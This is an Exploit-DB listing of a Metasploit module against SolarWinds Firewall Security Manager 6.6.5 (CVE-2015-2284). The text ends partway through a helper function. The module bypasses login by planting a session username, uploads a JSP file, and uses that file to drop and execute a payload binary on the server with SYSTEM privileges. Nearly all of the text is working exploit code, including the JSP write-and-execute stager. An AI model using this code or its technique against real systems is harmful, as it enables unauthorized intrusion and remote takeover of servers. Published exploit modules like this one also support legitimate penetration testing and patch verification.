Exploit-DB #36679
Description: SolarWinds Firewall Security Manager 6.6.5 - Client Session Handling (Metasploit)
Type: remote
Platform: windows
Date: 2015-04-08
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability",
      'Description'    => %q{
        This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager
        6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
        due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
        the 'username' attribute before authentication. The second problem is that the settings-new.jsp
        file will only check the 'username' attribute before authorizing the 'uploadFile' action,
        which can be exploited and allows the attacker to upload a fake xls host list file to the
        server, and results in arbitrary code execution under the context of SYSTEM.

        Depending on the installation, by default the Change Advisor web server is listening on port
        48080 for an express install. Otherwise, this service may appear on port 8080.

        Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may
        download it from the module's References section.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rgod',  # Original discovery
          'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_
          'sinn3r' # Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2015-2284'],
          ['OSVDB', '81634'],
          ['ZDI', '15-107'],
          ['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip']
        ],
      'DefaultOptions'  =>
        {
          'RPORT'    => 48080 # Could be 8080 too
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Solarwinds Firewall Security Manager 6.6.5', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 13 2015',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/'])
      ], self.class)
  end


  # Returns a checkcode that indicates whether the target is FSM or not
  def check
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp'))

    if res && res.body =~ /SolarWinds FSM Change Advisor/i
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end


  # Exploit/run command
  def exploit
    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager')
    end

    # Stage 1 of the attack
    # 'admin' is there by default and you can't delete it
    username = 'admin'
    print_status("Auth bypass: Putting session value: username=#{username}")
    sid = put_session_value(username)
    print_status("Your SID is: #{sid}")

    # Stage 2 of the attack
    exe = generate_payload_exe(code: payload.encoded)
    filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"
    # Because when we get a shell, we will be at:
    # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
    # So we have to adjust this filename in order to delete the file
    register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}")
    malicious_file = get_jsp_payload(exe, filename)
    print_status("Uploading file: #{filename} (#{exe.length} bytes)")
    upload_exec(sid, filename, malicious_file)
  end


  private


  # Returns a write-stager
  # I grabbed this from Juan's sonicwall_gms_uploaded.rb module
  def jsp_drop_bin(bin_data, output_file)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

    jspraw << %Q|int numbytes = data.length();\n|

    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
    jspraw << %Q|{\n|
    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
    jspraw << %Q|  comb <<= 4;\n|
    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
    jspraw << %Q|}\n|

    jspraw << %Q|outputstream.write(bytes);\n|
    jspraw << %Q|outputstream.close();\n|
    jspraw << %Q|%>\n|

    jspraw
  end

  # Returns JSP that executes stuff
  # This is also from Juan's sonicwall_gms_uploaded.rb module
  def jsp_execute_command(command)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|try {\n|
    jspraw << %Q|  Runtime.getRuntime().exec("chmod +x #{command}");\n|
    jspraw << %Q|} catch (IOException ioe) { }\n|
    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
    jspraw << %Q|%>\n|

    jspraw
  end


  # Returns a JSP payload
  def get_jsp_payload(exe, output_file)
    jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)
  end


  # Creates an arbitrary username by abusing the server's unsafe use of session.putValue
  def put_session_value(value)
    res = send_request_cgi(
      'uri'      => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'),